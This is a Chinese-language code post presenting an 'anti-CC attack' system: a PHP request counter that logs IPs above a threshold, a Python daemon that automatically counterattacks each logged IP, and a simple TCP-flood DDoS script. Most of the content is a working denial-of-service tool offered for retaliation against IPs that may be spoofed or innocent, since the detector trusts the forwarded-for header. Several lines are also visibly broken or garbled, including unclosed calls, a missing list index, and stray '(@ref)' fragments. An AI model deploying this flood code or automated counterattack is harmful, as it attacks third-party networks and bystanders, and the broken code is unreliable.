防 CC 攻击 IP 收集与自动反击系统实现

<?php
// config.php - 配置文件
define('LOG_DIR', '/path/to/logs/');  // 日志目录
define('ATTACK_THRESHOLD', 100);      // 每分钟请求超过100次视为攻击
define('IP_STORAGE_FILE', LOG_DIR.'attack_ips.txt'); // 攻击IP存储文件
define('DDOS_SCRIPT', '/path/to/xgz_ddos.py'); // DDoS脚本路径

// 确保日志目录存在
if (!file_exists(LOG_DIR)) {
    mkdir(LOG_DIR, 0755, true);
}

// attack_detector.php - 攻击检测主逻辑
class AttackDetector {
    private $ip;
    private $requestCounts = [];
    
    public function __construct() {
        $this->ip = $this->getClientIP();
        $this->loadRequestCounts();
    }
    
    // 获取客户端真实IP
    private function getClientIP() {
        $ip = $_SERVER['REMOTE_ADDR'];
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ipList = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
            $ip = trim($ipList;
        }
        return $ip;
    }
    
    // 加载已有的请求计数
    private function loadRequestCounts() {
        $countFile = LOG_DIR.'request_counts.json';
        if (file_exists($countFile)) {
            $this->requestCounts = json_decode(file_get_contents($countFile), true);
        }
    }
    
    // 保存请求计数
    private function saveRequestCounts() {
        $countFile = LOG_DIR.'request_counts.json';
        file_put_contents($countFile, json_encode($this->requestCounts));
    }
    
    // 检测并记录攻击
    public function detectAndLog() {
        $currentMinute = date('Y-m-d H:i');
        
        if (!isset($this->requestCounts[$currentMinute][$this->ip])) {
            $this->requestCounts[$currentMinute][$this->ip] = 0;
        }
        
        $this->requestCounts[$currentMinute][$this->ip]++;
        $this->saveRequestCounts();
        
        // 如果超过阈值，记录为攻击IP
        if ($this->requestCounts[$currentMinute][$this->ip] > ATTACK_THRESHOLD) {
            $this->logAttackIP($this->ip);
            return true;
        }
        
        return false;
    }
    
    // 记录攻击IP到文件
    private function logAttackIP($ip) {
        $ips = [];
        if (file_exists(IP_STORAGE_FILE)) {
            $ips = file(IP_STORAGE_FILE, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        }
        
        if (!in_array($ip, $ips)) {
            file_put_contents(IP_STORAGE_FILE, $ip.PHP_EOL, FILE_APPEND);
        }
    }
}

// 使用示例 - 在网站入口文件(如index.php)中包含以下代码
require_once 'config.php';
$detector = new AttackDetector();
if ($detector->detectAndLog()) {
    // 可以在这里添加攻击发生时的额外处理，如返回验证码等
    // 但不要直接在这里执行反击，以免影响正常服务
}
?>

# ddos_counterattack.py
import os
import time
import subprocess
from datetime import datetime

# 配置
IP_STORAGE_FILE = '/path/to/logs/attack_ips.txt'  # 与PHP配置相同
DDOS_SCRIPT = '/path/to/xgz_ddos.py'  # 您的DDoS脚本路径
MIN_IDLE_TIME = 300  # 系统空闲时间(秒)超过5分钟才执行反击
MAX_ATTACK_DURATION = 60  # 每次反击最长持续时间(秒)

def is_system_idle():
    """
    检查系统是否空闲
    可以根据CPU使用率、内存使用率等判断
    这里简化实现，实际应根据服务器情况调整
    """
    # 示例：检查过去1分钟平均负载
    with open('/proc/loadavg', 'r') as f:
        load = float(f.read().split()
    
    # 如果平均负载小于0.5认为系统空闲
    return load < 0.5

def execute_counterattack():
    """
    执行反击操作
    """
    if not os.path.exists(IP_STORAGE_FILE):
        print(f"{datetime.now()}: 没有发现攻击IP记录")
        return
    
    with open(IP_STORAGE_FILE, 'r') as f:
        ips = [line.strip() for line in f if line.strip()]
    
    if not ips:
        print(f"{datetime.now()}: 攻击IP列表为空")
        return
    
    print(f"{datetime.now()}: 开始对 {len(ips)} 个攻击IP执行反击")
    
    # 对每个IP执行DDoS脚本
    for ip in ips:
        try:
            print(f"{datetime.now()}: 攻击IP {ip}")
            # 这里假设ddos.py接受IP作为参数，如: python ddos.py <target_ip>
            process = subprocess.Popen(['python', DDOS_SCRIPT, ip])
            
            # 运行一段时间后停止
            time.sleep(MAX_ATTACK_DURATION)
            process.terminate()
            
        except Exception as e:
            print(f"{datetime.now()}: 攻击IP {ip} 时出错: {str(e)}")
    
    # 反击完成后清空IP记录
    open(IP_STORAGE_FILE, 'w').close()
    print(f"{datetime.now()}: 反击完成，已清空攻击IP记录")

def main():
    while True:
        if is_system_idle():
            print(f"{datetime.now()}: 系统空闲，准备检查是否需要反击")
            execute_counterattack()
        
        # 每隔1分钟检查一次
        time.sleep(60)

if __name__ == '__main__':
    main()

# xgz_ddos.py - 示例DDoS脚本
import socket
import random
import time
import sys

def attack(target_ip, port=80, duration=60):
    """
    简单的DDoS攻击实现
    """
    print(f"开始对 {target_ip}:{port} 进行攻击，持续 {duration} 秒")
    
    start_time = time.time()
    packet_count = 0
    
    try:
        while time.time() - start_time < duration:
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((target_ip, port))
                s.sendall(random._urandom(1024))
                s.close()
                packet_count += 1
            except Exception as e:
                print(f"攻击过程中出错: {str(e)}")
                time.sleep(1)
                
    except KeyboardInterrupt:
        pass
    
    print(f"攻击结束，共发送 {packet_count} 个数据包")

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("用法: python ddos.py <target_ip> [port] [duration]")
        sys.exit(1)
    
    target_ip = sys.argv
    port = int(sys.argv[2](@ref) if len(sys.argv) > 2 else 80
    duration = int(sys.argv[3](@ref) if len(sys.argv) > 3 else 60
    
    attack(target_ip, port, duration)